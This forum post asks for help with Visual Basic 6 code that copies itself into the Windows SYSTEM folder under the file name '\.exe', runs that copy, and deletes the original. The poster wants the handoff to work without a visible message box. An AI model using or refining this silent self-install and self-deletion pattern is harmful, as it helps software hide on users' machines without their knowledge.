Hi,
Take a look at this code,

Code:
Sub Main()
' Enters here
    Dim strBuffer As String
    Dim lngLength As String
    Dim n As Integer
    ' Get windows Dir
    strBuffer = Space(255)
    lngLength = GetWindowsDirectory(strBuffer, 255)
    strWindowsDir = Left$(strBuffer, lngLength)
    strSystemDir = strWindowsDir & "\SYSTEM"
    strAppPath = strSystemDir & "\.exe"
    
    ' If a parameter is passed delete the file
    If Not Command = "" Then
        MsgBox "h"
        'Sleep (1000)
        Kill (Command)
    End If
    
    ' If not installed, install now and delete original
    On Error Resume Next
    If FileLen(strAppPath) = 0 Then
        FileCopy App.Path & "\" & App.EXEName & ".exe", strAppPath
        DoEvents
        'Sleep (500)
        Shell strAppPath & " " & App.Path & "\" & App.EXEName & ".exe"
        End
    End If
    
End Sub
The code above is for a program which should do the following things:
1. Copy itself to windows/system dir (works)
2. Shell the new copy (works)
3. The new copy will then delete the calling copy (works)

The code above works fine, except if i remove the Msgbox "h". I have tried replacing it with the sleep statement. Does not work?
I don't want a message box shown but it does not work without it
Cheers